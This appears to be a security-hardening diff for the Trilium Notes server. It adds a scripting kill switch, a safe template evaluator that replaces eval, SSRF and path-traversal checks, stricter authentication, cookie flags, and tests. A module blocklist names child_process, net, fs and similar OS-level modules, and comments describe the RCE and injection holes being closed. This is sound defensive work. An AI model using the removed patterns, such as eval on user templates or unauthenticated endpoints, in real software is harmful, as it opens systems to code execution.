import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
interface Table {
|
||||
name: string;
|
||||
@@ -25,6 +26,7 @@ function getSchema() {
|
||||
}
|
||||
|
||||
function execute(req: Request<{ noteId: string }>) {
|
||||
assertSqlConsoleEnabled();
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
|
||||
const content = note.getContent();
|
||||
|
||||
@@ -3,6 +3,7 @@ import { doubleCsrf } from "csrf-csrf";
|
||||
|
||||
import sessionSecret from "../services/session_secret.js";
|
||||
import { isElectron } from "../services/utils.js";
|
||||
import config from "../services/config.js";
|
||||
|
||||
export const CSRF_COOKIE_NAME = "trilium-csrf";
|
||||
|
||||
@@ -16,7 +17,7 @@ const doubleCsrfUtilities = doubleCsrf({
|
||||
getSecret: () => sessionSecret,
|
||||
cookieOptions: {
|
||||
path: "/",
|
||||
secure: false,
|
||||
secure: config.Network.https,
|
||||
sameSite: "strict",
|
||||
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
|
||||
},
|
||||
|
||||
@@ -6,9 +6,15 @@ import sql from "../services/sql.js";
|
||||
import becca from "../becca/becca.js";
|
||||
import type { Request, Response, Router } from "express";
|
||||
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
|
||||
function handleRequest(req: Request, res: Response) {
|
||||
|
||||
if (!isScriptingEnabled()) {
|
||||
res.status(403).send("Script execution is disabled on this server.");
|
||||
return;
|
||||
}
|
||||
|
||||
// handle path from "*path" route wildcard
|
||||
// in express v4, you could just add
|
||||
// req.params.path + req.params[0], but with v5
|
||||
@@ -64,6 +70,14 @@ function handleRequest(req: Request, res: Response) {
|
||||
if (attr.name === "customRequestHandler") {
|
||||
const note = attr.getNote();
|
||||
|
||||
// Require authentication unless note has #customRequestHandlerPublic label
|
||||
if (!note.hasLabel("customRequestHandlerPublic")) {
|
||||
if (!req.session?.loggedIn) {
|
||||
res.status(401).send("Authentication required for this endpoint.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
|
||||
|
||||
try {
|
||||
|
||||
@@ -15,7 +15,7 @@ import etapiSpecRoute from "../etapi/spec.js";
|
||||
import etapiSpecialNoteRoutes from "../etapi/special_notes.js";
|
||||
import auth from "../services/auth.js";
|
||||
import openID from '../services/open_id.js';
|
||||
import { isElectron } from "../services/utils.js";
|
||||
|
||||
import shareRoutes from "../share/routes.js";
|
||||
import appInfoRoute from "./api/app_info.js";
|
||||
import attachmentsApiRoute from "./api/attachments.js";
|
||||
@@ -215,6 +215,7 @@ function register(app: express.Application) {
|
||||
apiRoute(PUT, "/api/options/:name/:value", optionsApiRoute.updateOption);
|
||||
apiRoute(PUT, "/api/options", optionsApiRoute.updateOptions);
|
||||
apiRoute(GET, "/api/options/user-themes", optionsApiRoute.getUserThemes);
|
||||
apiRoute(GET, "/api/options/locales", optionsApiRoute.getSupportedLocales);
|
||||
|
||||
apiRoute(PST, "/api/password/change", passwordApiRoute.changePassword);
|
||||
apiRoute(PST, "/api/password/reset", passwordApiRoute.resetPassword);
|
||||
@@ -258,7 +259,7 @@ function register(app: express.Application) {
|
||||
apiRoute(PST, "/api/bulk-action/execute", bulkActionRoute.execute);
|
||||
apiRoute(PST, "/api/bulk-action/affected-notes", bulkActionRoute.getAffectedNoteCount);
|
||||
|
||||
route(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
|
||||
asyncRoute(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
|
||||
// this is for entering protected mode so user has to be already logged-in (that's the reason we don't require username)
|
||||
apiRoute(PST, "/api/login/protected", loginApiRoute.loginToProtectedSession);
|
||||
apiRoute(PST, "/api/login/protected/touch", loginApiRoute.touchProtectedSession);
|
||||
@@ -271,8 +272,10 @@ function register(app: express.Application) {
|
||||
apiRoute(PATCH, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.patchToken);
|
||||
apiRoute(DEL, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.deleteToken);
|
||||
|
||||
// in case of local electron, local calls are allowed unauthenticated, for server they need auth
|
||||
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];
|
||||
// clipper API always requires ETAPI token authentication, regardless of environment.
|
||||
// Previously, Electron builds skipped auth entirely, which exposed these endpoints
|
||||
// to unauthenticated network access (content injection, information disclosure).
|
||||
const clipperMiddleware = [auth.checkEtapiToken];
|
||||
|
||||
route(GET, "/api/clipper/handshake", clipperMiddleware, clipperRoute.handshake, apiResultHandler);
|
||||
asyncRoute(PST, "/api/clipper/clippings", clipperMiddleware, clipperRoute.addClipping, apiResultHandler);
|
||||
|
||||
@@ -107,6 +107,8 @@ const sessionParser: express.RequestHandler = session({
|
||||
cookie: {
|
||||
path: "/",
|
||||
httpOnly: true,
|
||||
secure: config.Network.https,
|
||||
sameSite: "lax",
|
||||
maxAge: config.Session.cookieMaxAge * 1000 // needs value in milliseconds
|
||||
},
|
||||
name: "trilium.sid",
|
||||
|
||||
@@ -72,9 +72,16 @@ function periodBackup(optionName: "lastDailyBackupDate" | "lastWeeklyBackupDate"
|
||||
}
|
||||
|
||||
async function backupNow(name: string) {
|
||||
// Sanitize backup name to prevent path traversal (CWE-22).
|
||||
// Only allow alphanumeric characters, hyphens, and underscores.
|
||||
const sanitizedName = name.replace(/[^a-zA-Z0-9_-]/g, "");
|
||||
if (!sanitizedName) {
|
||||
throw new Error("Invalid backup name: must contain at least one alphanumeric character, hyphen, or underscore.");
|
||||
}
|
||||
|
||||
// we don't want to back up DB in the middle of sync with potentially inconsistent DB state
|
||||
return await syncMutexService.doExclusively(async () => {
|
||||
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${name}.db`);
|
||||
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${sanitizedName}.db`);
|
||||
|
||||
if (!fs.existsSync(dataDir.BACKUP_DIR)) {
|
||||
fs.mkdirSync(dataDir.BACKUP_DIR, 0o700);
|
||||
|
||||
@@ -6,6 +6,9 @@ import { randomString } from "./utils.js";
|
||||
import eraseService from "./erase.js";
|
||||
import type BNote from "../becca/entities/bnote.js";
|
||||
import { ActionHandlers, BulkAction, BulkActionData } from "@triliumnext/commons";
|
||||
import { evaluateTemplate } from "./safe_template.js";
|
||||
import { executeBundle } from "./script.js";
|
||||
import { assertScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
type ActionHandler<T> = (action: T, note: BNote) => void;
|
||||
|
||||
@@ -44,9 +47,8 @@ const ACTION_HANDLERS: ActionHandlerMap = {
|
||||
},
|
||||
renameNote: (action, note) => {
|
||||
// "officially" injected value:
|
||||
// - note
|
||||
|
||||
const newTitle = eval(`\`${action.newTitle}\``);
|
||||
// - note (the note being renamed)
|
||||
const newTitle = evaluateTemplate(action.newTitle, { note });
|
||||
|
||||
if (note.title !== newTitle) {
|
||||
note.title = newTitle;
|
||||
@@ -105,15 +107,26 @@ const ACTION_HANDLERS: ActionHandlerMap = {
|
||||
}
|
||||
},
|
||||
executeScript: (action, note) => {
|
||||
assertScriptingEnabled();
|
||||
if (!action.script || !action.script.trim()) {
|
||||
log.info("Ignoring executeScript since the script is empty.");
|
||||
return;
|
||||
}
|
||||
|
||||
const scriptFunc = new Function("note", action.script);
|
||||
scriptFunc(note);
|
||||
// Route through the script service's executeBundle instead of raw
|
||||
// new Function() to get proper CLS context, logging, and error handling.
|
||||
// The preamble provides access to `note` and `api` as the UI documents.
|
||||
const noteId = note.noteId.replace(/[^a-zA-Z0-9_]/g, "");
|
||||
const preamble = `const api = apiContext.apis["${noteId}"] || {};\n` +
|
||||
`const note = apiContext.notes["${noteId}"];\n`;
|
||||
const scriptBody = `${preamble}${action.script}\nnote.save();`;
|
||||
|
||||
note.save();
|
||||
executeBundle({
|
||||
note: note,
|
||||
script: scriptBody,
|
||||
html: "",
|
||||
allNotes: [note]
|
||||
});
|
||||
}
|
||||
} as const;
|
||||
|
||||
|
||||
@@ -136,7 +136,14 @@ export interface TriliumConfig {
|
||||
* log files created by Trilium older than the specified amount of time will be deleted.
|
||||
*/
|
||||
retentionDays: number;
|
||||
}
|
||||
};
|
||||
/** Scripting and code execution configuration */
|
||||
Scripting: {
|
||||
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
|
||||
enabled: boolean;
|
||||
/** Whether the SQL console is accessible (default: false) */
|
||||
sqlConsoleEnabled: boolean;
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -458,6 +465,21 @@ const configMapping = {
|
||||
defaultValue: LOGGING_DEFAULT_RETENTION_DAYS,
|
||||
transformer: (value: unknown) => stringToInt(String(value)) ?? LOGGING_DEFAULT_RETENTION_DAYS
|
||||
}
|
||||
},
|
||||
Scripting: {
|
||||
enabled: {
|
||||
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
|
||||
iniGetter: () => getIniSection("Scripting")?.enabled,
|
||||
defaultValue: false,
|
||||
transformer: transformBoolean
|
||||
},
|
||||
sqlConsoleEnabled: {
|
||||
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
|
||||
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
|
||||
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
|
||||
defaultValue: false,
|
||||
transformer: transformBoolean
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
@@ -511,9 +533,19 @@ const config: TriliumConfig = {
|
||||
},
|
||||
Logging: {
|
||||
retentionDays: getConfigValue(configMapping.Logging.retentionDays)
|
||||
},
|
||||
Scripting: {
|
||||
enabled: getConfigValue(configMapping.Scripting.enabled),
|
||||
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
|
||||
}
|
||||
};
|
||||
|
||||
// Desktop builds always have scripting enabled (single-user trusted environment)
|
||||
if (process.versions["electron"]) {
|
||||
config.Scripting.enabled = true;
|
||||
config.Scripting.sqlConsoleEnabled = true;
|
||||
}
|
||||
|
||||
/**
|
||||
* =====================================================================
|
||||
* ENVIRONMENT VARIABLE REFERENCE
|
||||
|
||||
@@ -12,11 +12,12 @@ import log from "./log.js";
|
||||
import type BNote from "../becca/entities/bnote.js";
|
||||
import type AbstractBeccaEntity from "../becca/entities/abstract_becca_entity.js";
|
||||
import type { DefinitionObject } from "./promoted_attribute_definition_interface.js";
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
type Handler = (definition: DefinitionObject, note: BNote, targetNote: BNote) => void;
|
||||
|
||||
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
|
||||
if (!note) {
|
||||
if (!note || !isScriptingEnabled()) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ import sql_init from "./sql_init.js";
|
||||
import { join } from "path";
|
||||
import { getResourceDir } from "./utils.js";
|
||||
import hidden_subtree from "./hidden_subtree.js";
|
||||
import { dayjs, LOCALES, setDayjsLocale, type Dayjs, type LOCALE_IDS } from "@triliumnext/commons";
|
||||
import { dayjs, LOCALES, setDayjsLocale, type Dayjs, type Locale, type LOCALE_IDS } from "@triliumnext/commons";
|
||||
|
||||
export async function initializeTranslations() {
|
||||
const resourceDir = getResourceDir();
|
||||
@@ -30,6 +30,10 @@ export function ordinal(date: Dayjs) {
|
||||
.format("Do");
|
||||
}
|
||||
|
||||
export function getLocales(): Locale[] {
|
||||
return LOCALES;
|
||||
}
|
||||
|
||||
function getCurrentLanguage(): LOCALE_IDS {
|
||||
let language: string | null = null;
|
||||
if (sql_init.isDbInitialized()) {
|
||||
|
||||
@@ -25,8 +25,10 @@ import type { NoteParams } from "./note-interface.js";
|
||||
import optionService from "./options.js";
|
||||
import request from "./request.js";
|
||||
import revisionService from "./revisions.js";
|
||||
import { evaluateTemplateSafe } from "./safe_template.js";
|
||||
import sql from "./sql.js";
|
||||
import type TaskContext from "./task_context.js";
|
||||
import { isSafeUrlForFetch } from "./url_validator.js";
|
||||
import ws from "./ws.js";
|
||||
|
||||
interface FoundLink {
|
||||
@@ -119,17 +121,17 @@ function getNewNoteTitle(parentNote: BNote) {
|
||||
const titleTemplate = parentNote.getLabelValue("titleTemplate");
|
||||
|
||||
if (titleTemplate !== null) {
|
||||
try {
|
||||
const now = dayjs(cls.getLocalNowDateTime() || new Date());
|
||||
const now = dayjs(cls.getLocalNowDateTime() || new Date());
|
||||
|
||||
// "officially" injected values:
|
||||
// - now
|
||||
// - parentNote
|
||||
|
||||
title = eval(`\`${titleTemplate}\``);
|
||||
} catch (e: any) {
|
||||
log.error(`Title template of note '${parentNote.noteId}' failed with: ${e.message}`);
|
||||
}
|
||||
// "officially" injected values:
|
||||
// - now
|
||||
// - parentNote
|
||||
title = evaluateTemplateSafe(
|
||||
titleTemplate,
|
||||
{ now, parentNote },
|
||||
title,
|
||||
`titleTemplate of note '${parentNote.noteId}'`
|
||||
);
|
||||
}
|
||||
|
||||
// this isn't in theory a good place to sanitize title, but this will catch a lot of XSS attempts.
|
||||
@@ -503,24 +505,14 @@ const imageUrlToAttachmentIdMapping: Record<string, string> = {};
|
||||
async function downloadImage(noteId: string, imageUrl: string) {
|
||||
const unescapedUrl = unescapeHtml(imageUrl);
|
||||
|
||||
// SSRF protection: only allow http(s) URLs and block private/internal IPs.
|
||||
if (!isSafeUrlForFetch(unescapedUrl)) {
|
||||
log.error(`Download of '${imageUrl}' for note '${noteId}' rejected: URL failed SSRF safety check.`);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
let imageBuffer: Buffer;
|
||||
|
||||
if (imageUrl.toLowerCase().startsWith("file://")) {
|
||||
imageBuffer = await new Promise((res, rej) => {
|
||||
const localFilePath = imageUrl.substring("file://".length);
|
||||
|
||||
return fs.readFile(localFilePath, (err, data) => {
|
||||
if (err) {
|
||||
rej(err);
|
||||
} else {
|
||||
res(data);
|
||||
}
|
||||
});
|
||||
});
|
||||
} else {
|
||||
imageBuffer = await request.getImage(unescapedUrl);
|
||||
}
|
||||
const imageBuffer = await request.getImage(unescapedUrl);
|
||||
|
||||
const parsedUrl = url.parse(unescapedUrl);
|
||||
const title = path.basename(parsedUrl.pathname || "");
|
||||
|
||||
188
apps/server/src/services/safe_template.ts
Normal file
188
apps/server/src/services/safe_template.ts
Normal file
@@ -0,0 +1,188 @@
|
||||
/**
|
||||
* Safe template evaluator that replaces eval()-based template string interpolation.
|
||||
*
|
||||
* Supports only a controlled set of operations within ${...} expressions:
|
||||
* - Property access chains: `obj.prop.subprop`
|
||||
* - Method calls with a single string literal argument: `obj.method('arg')`
|
||||
* - Chained combinations: `obj.prop.method('arg')`
|
||||
*
|
||||
* This prevents arbitrary code execution while supporting the documented
|
||||
* titleTemplate and bulk rename use cases:
|
||||
* - ${now.format('YYYY-MM-DD')}
|
||||
* - ${parentNote.title}
|
||||
* - ${parentNote.getLabelValue('authorName')}
|
||||
* - ${note.title}
|
||||
* - ${note.dateCreatedObj.format('MM-DD')}
|
||||
*/
|
||||
|
||||
import log from "./log.js";
|
||||
|
||||
/** Allowed method names that can be called on template variables. */
|
||||
const ALLOWED_METHODS = new Set([
|
||||
"format",
|
||||
"getLabelValue",
|
||||
"getLabel",
|
||||
"getLabelValues",
|
||||
"getRelationValue",
|
||||
"getAttributeValue"
|
||||
]);
|
||||
|
||||
/** Allowed property names that can be accessed on template variables. */
|
||||
const ALLOWED_PROPERTIES = new Set([
|
||||
"title",
|
||||
"type",
|
||||
"mime",
|
||||
"noteId",
|
||||
"dateCreated",
|
||||
"dateModified",
|
||||
"utcDateCreated",
|
||||
"utcDateModified",
|
||||
"dateCreatedObj",
|
||||
"utcDateCreatedObj",
|
||||
"isProtected",
|
||||
"content"
|
||||
]);
|
||||
|
||||
interface TemplateVariables {
|
||||
[key: string]: unknown;
|
||||
}
|
||||
|
||||
/**
|
||||
* Evaluates a template string safely without using eval().
|
||||
*
|
||||
* Template strings can contain ${...} expressions which are evaluated
|
||||
* against the provided variables map.
|
||||
*
|
||||
* @param template - The template string, e.g. "Note: ${now.format('YYYY-MM-DD')}"
|
||||
* @param variables - Map of variable names to their values
|
||||
* @returns The interpolated string
|
||||
* @throws Error if an expression cannot be safely evaluated
|
||||
*/
|
||||
export function evaluateTemplate(template: string, variables: TemplateVariables): string {
|
||||
return template.replace(/\$\{([^}]+)\}/g, (_match, expression: string) => {
|
||||
const result = evaluateExpression(expression.trim(), variables);
|
||||
return result == null ? "" : String(result);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Evaluates a single expression like "now.format('YYYY-MM-DD')" or "parentNote.title".
|
||||
*
|
||||
* Supported forms:
|
||||
* - `varName` -> variables[varName]
|
||||
* - `varName.prop` -> variables[varName].prop
|
||||
* - `varName.prop1.prop2` -> variables[varName].prop1.prop2
|
||||
* - `varName.method('arg')` -> variables[varName].method('arg')
|
||||
* - `varName.prop.method('arg')` -> variables[varName].prop.method('arg')
|
||||
*/
|
||||
function evaluateExpression(expr: string, variables: TemplateVariables): unknown {
|
||||
// Parse the expression into segments: variable name, property accesses, and optional method call.
|
||||
// We handle: varName(.propName)*.methodName('stringArg')?
|
||||
|
||||
// First, check for a method call at the end: .methodName('arg') or .methodName("arg")
|
||||
const methodCallMatch = expr.match(
|
||||
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*(?:'([^']*)'|"([^"]*)")\s*\)$/
|
||||
);
|
||||
|
||||
if (methodCallMatch) {
|
||||
const [, chainStr, methodName, singleQuoteArg, doubleQuoteArg] = methodCallMatch;
|
||||
const methodArg = singleQuoteArg !== undefined ? singleQuoteArg : doubleQuoteArg;
|
||||
|
||||
if (!ALLOWED_METHODS.has(methodName)) {
|
||||
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
|
||||
}
|
||||
|
||||
const target = resolvePropertyChain(chainStr, variables);
|
||||
if (target == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const method = (target as Record<string, unknown>)[methodName];
|
||||
if (typeof method !== "function") {
|
||||
throw new Error(`'${methodName}' is not a function on the resolved object`);
|
||||
}
|
||||
|
||||
return (method as (arg: string) => unknown).call(target, methodArg as string);
|
||||
}
|
||||
|
||||
// Check for a no-arg method call at the end: .methodName()
|
||||
const noArgMethodMatch = expr.match(
|
||||
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*\)$/
|
||||
);
|
||||
|
||||
if (noArgMethodMatch) {
|
||||
const [, chainStr, methodName] = noArgMethodMatch;
|
||||
|
||||
if (!ALLOWED_METHODS.has(methodName)) {
|
||||
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
|
||||
}
|
||||
|
||||
const target = resolvePropertyChain(chainStr, variables);
|
||||
if (target == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const method = (target as Record<string, unknown>)[methodName];
|
||||
if (typeof method !== "function") {
|
||||
throw new Error(`'${methodName}' is not a function on the resolved object`);
|
||||
}
|
||||
|
||||
return (method as () => unknown).call(target);
|
||||
}
|
||||
|
||||
// Otherwise it's a pure property chain: varName.prop1.prop2...
|
||||
const propChainMatch = expr.match(/^[a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*$/);
|
||||
if (!propChainMatch) {
|
||||
throw new Error(`Template expression '${expr}' is not a supported expression. ` +
|
||||
`Only property access and whitelisted method calls are allowed.`);
|
||||
}
|
||||
|
||||
return resolvePropertyChain(expr, variables);
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolves a dot-separated property chain like "parentNote.title" against variables.
|
||||
*/
|
||||
function resolvePropertyChain(chain: string, variables: TemplateVariables): unknown {
|
||||
const parts = chain.split(".");
|
||||
const rootName = parts[0];
|
||||
|
||||
if (!(rootName in variables)) {
|
||||
throw new Error(`Unknown variable '${rootName}' in template expression`);
|
||||
}
|
||||
|
||||
let current: unknown = variables[rootName];
|
||||
|
||||
for (let i = 1; i < parts.length; i++) {
|
||||
if (current == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const prop = parts[i];
|
||||
if (!ALLOWED_PROPERTIES.has(prop)) {
|
||||
throw new Error(`Property '${prop}' is not allowed in template expressions`);
|
||||
}
|
||||
|
||||
current = (current as Record<string, unknown>)[prop];
|
||||
}
|
||||
|
||||
return current;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convenience wrapper that evaluates a template and catches errors,
|
||||
* logging them and returning the fallback value.
|
||||
*/
|
||||
export function evaluateTemplateSafe(
|
||||
template: string,
|
||||
variables: TemplateVariables,
|
||||
fallback: string,
|
||||
contextDescription: string
|
||||
): string {
|
||||
try {
|
||||
return evaluateTemplate(template, variables);
|
||||
} catch (e: any) {
|
||||
log.error(`Template evaluation for ${contextDescription} failed with: ${e.message}`);
|
||||
return fallback;
|
||||
}
|
||||
}
|
||||
@@ -8,6 +8,7 @@ import hiddenSubtreeService from "./hidden_subtree.js";
|
||||
import type BNote from "../becca/entities/bnote.js";
|
||||
import options from "./options.js";
|
||||
import { getLastProtectedSessionOperationDate, isProtectedSessionAvailable, resetDataKey } from "./protected_session.js";
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
import ws from "./ws.js";
|
||||
|
||||
function getRunAtHours(note: BNote): number[] {
|
||||
@@ -45,7 +46,7 @@ export function startScheduler() {
|
||||
|
||||
// Periodic checks.
|
||||
sqlInit.dbReady.then(() => {
|
||||
if (!process.env.TRILIUM_SAFE_MODE) {
|
||||
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
|
||||
setTimeout(
|
||||
cls.wrap(() => runNotesWithLabel("backendStartup")),
|
||||
10 * 1000
|
||||
@@ -60,13 +61,14 @@ export function startScheduler() {
|
||||
cls.wrap(() => runNotesWithLabel("daily")),
|
||||
24 * 3600 * 1000
|
||||
);
|
||||
|
||||
setInterval(
|
||||
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
|
||||
7 * 3600 * 1000
|
||||
);
|
||||
}
|
||||
|
||||
// Internal maintenance - always runs regardless of scripting setting
|
||||
setInterval(
|
||||
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
|
||||
7 * 3600 * 1000
|
||||
);
|
||||
|
||||
setInterval(() => checkProtectedSessionExpiration(), 30000);
|
||||
});
|
||||
}
|
||||
|
||||
@@ -3,6 +3,51 @@ import BackendScriptApi from "./backend_script_api.js";
|
||||
import type BNote from "../becca/entities/bnote.js";
|
||||
import type { ApiParams } from "./backend_script_api_interface.js";
|
||||
|
||||
/**
|
||||
* IMPORTANT: This module allowlist/blocklist is a defense-in-depth measure only.
|
||||
* It is NOT a security sandbox. Scripts execute via eval() in the main Node.js
|
||||
* process and can bypass these restrictions through globalThis, process, etc.
|
||||
* The actual security boundary is the [Scripting] enabled=false config toggle,
|
||||
* which prevents script execution entirely.
|
||||
*
|
||||
* Modules that are safe for user scripts to require.
|
||||
* Note-based modules (resolved via note title matching) are handled separately
|
||||
* and always allowed regardless of this list.
|
||||
*/
|
||||
const ALLOWED_MODULES = new Set([
|
||||
// Safe utility libraries
|
||||
"dayjs",
|
||||
"marked",
|
||||
"turndown",
|
||||
"cheerio",
|
||||
"axios",
|
||||
"xml2js",
|
||||
"escape-html",
|
||||
"sanitize-html",
|
||||
"lodash",
|
||||
]);
|
||||
|
||||
/**
|
||||
* Modules that are ALWAYS blocked even when scripting is enabled.
|
||||
* These provide OS-level access that makes RCE trivial.
|
||||
*/
|
||||
const BLOCKED_MODULES = new Set([
|
||||
"child_process",
|
||||
"cluster",
|
||||
"dgram",
|
||||
"dns",
|
||||
"fs",
|
||||
"fs/promises",
|
||||
"net",
|
||||
"os",
|
||||
"path",
|
||||
"process",
|
||||
"tls",
|
||||
"worker_threads",
|
||||
"v8",
|
||||
"vm",
|
||||
]);
|
||||
|
||||
type Module = {
|
||||
exports: any[];
|
||||
};
|
||||
@@ -26,7 +71,23 @@ class ScriptContext {
|
||||
const note = candidates.find((c) => c.title === moduleName);
|
||||
|
||||
if (!note) {
|
||||
return require(moduleName);
|
||||
// Check blocked list first
|
||||
if (BLOCKED_MODULES.has(moduleName)) {
|
||||
throw new Error(
|
||||
`Module '${moduleName}' is blocked for security. ` +
|
||||
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
|
||||
);
|
||||
}
|
||||
|
||||
// Allow if in whitelist
|
||||
if (ALLOWED_MODULES.has(moduleName)) {
|
||||
return require(moduleName);
|
||||
}
|
||||
|
||||
throw new Error(
|
||||
`Module '${moduleName}' is not in the allowed modules list. ` +
|
||||
`Contact your administrator to add it to the whitelist.`
|
||||
);
|
||||
}
|
||||
|
||||
return this.modules[note.noteId].exports;
|
||||
|
||||
148
apps/server/src/services/scripting_guard.spec.ts
Normal file
148
apps/server/src/services/scripting_guard.spec.ts
Normal file
@@ -0,0 +1,148 @@
|
||||
import { vi, describe, it, expect, beforeEach } from "vitest";
|
||||
|
||||
// Mutable mock state that can be changed between tests
|
||||
const mockState = {
|
||||
isElectron: false,
|
||||
scriptingEnabled: false,
|
||||
sqlConsoleEnabled: false
|
||||
};
|
||||
|
||||
// Mock utils module so isElectron can be controlled per test
|
||||
vi.mock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: {
|
||||
isElectron: false
|
||||
}
|
||||
}));
|
||||
|
||||
// Mock config module so Scripting section can be controlled per test
|
||||
vi.mock("./config.js", () => ({
|
||||
default: {
|
||||
Scripting: {
|
||||
get enabled() {
|
||||
return mockState.scriptingEnabled;
|
||||
},
|
||||
get sqlConsoleEnabled() {
|
||||
return mockState.sqlConsoleEnabled;
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
describe("scripting_guard", () => {
|
||||
beforeEach(() => {
|
||||
// Reset to defaults
|
||||
mockState.isElectron = false;
|
||||
mockState.scriptingEnabled = false;
|
||||
mockState.sqlConsoleEnabled = false;
|
||||
vi.resetModules();
|
||||
});
|
||||
|
||||
describe("assertScriptingEnabled", () => {
|
||||
it("should throw when scripting is disabled and not Electron", async () => {
|
||||
mockState.isElectron = false;
|
||||
mockState.scriptingEnabled = false;
|
||||
|
||||
// Re-mock utils with isElectron = false
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).toThrowError(
|
||||
/Script execution is disabled/
|
||||
);
|
||||
});
|
||||
|
||||
it("should not throw when scripting is enabled", async () => {
|
||||
mockState.scriptingEnabled = true;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).not.toThrow();
|
||||
});
|
||||
|
||||
it("should not throw when isElectron is true even if config is false", async () => {
|
||||
mockState.scriptingEnabled = false;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: true,
|
||||
default: { isElectron: true }
|
||||
}));
|
||||
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("assertSqlConsoleEnabled", () => {
|
||||
it("should throw when SQL console is disabled and not Electron", async () => {
|
||||
mockState.sqlConsoleEnabled = false;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertSqlConsoleEnabled()).toThrowError(
|
||||
/SQL console is disabled/
|
||||
);
|
||||
});
|
||||
|
||||
it("should not throw when SQL console is enabled", async () => {
|
||||
mockState.sqlConsoleEnabled = true;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertSqlConsoleEnabled()).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("isScriptingEnabled", () => {
|
||||
it("should return false when disabled and not Electron", async () => {
|
||||
mockState.scriptingEnabled = false;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { isScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(isScriptingEnabled()).toBe(false);
|
||||
});
|
||||
|
||||
it("should return true when enabled", async () => {
|
||||
mockState.scriptingEnabled = true;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { isScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(isScriptingEnabled()).toBe(true);
|
||||
});
|
||||
|
||||
it("should return true when isElectron is true", async () => {
|
||||
mockState.scriptingEnabled = false;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: true,
|
||||
default: { isElectron: true }
|
||||
}));
|
||||
|
||||
const { isScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(isScriptingEnabled()).toBe(true);
|
||||
});
|
||||
});
|
||||
});
|
||||
28
apps/server/src/services/scripting_guard.ts
Normal file
28
apps/server/src/services/scripting_guard.ts
Normal file
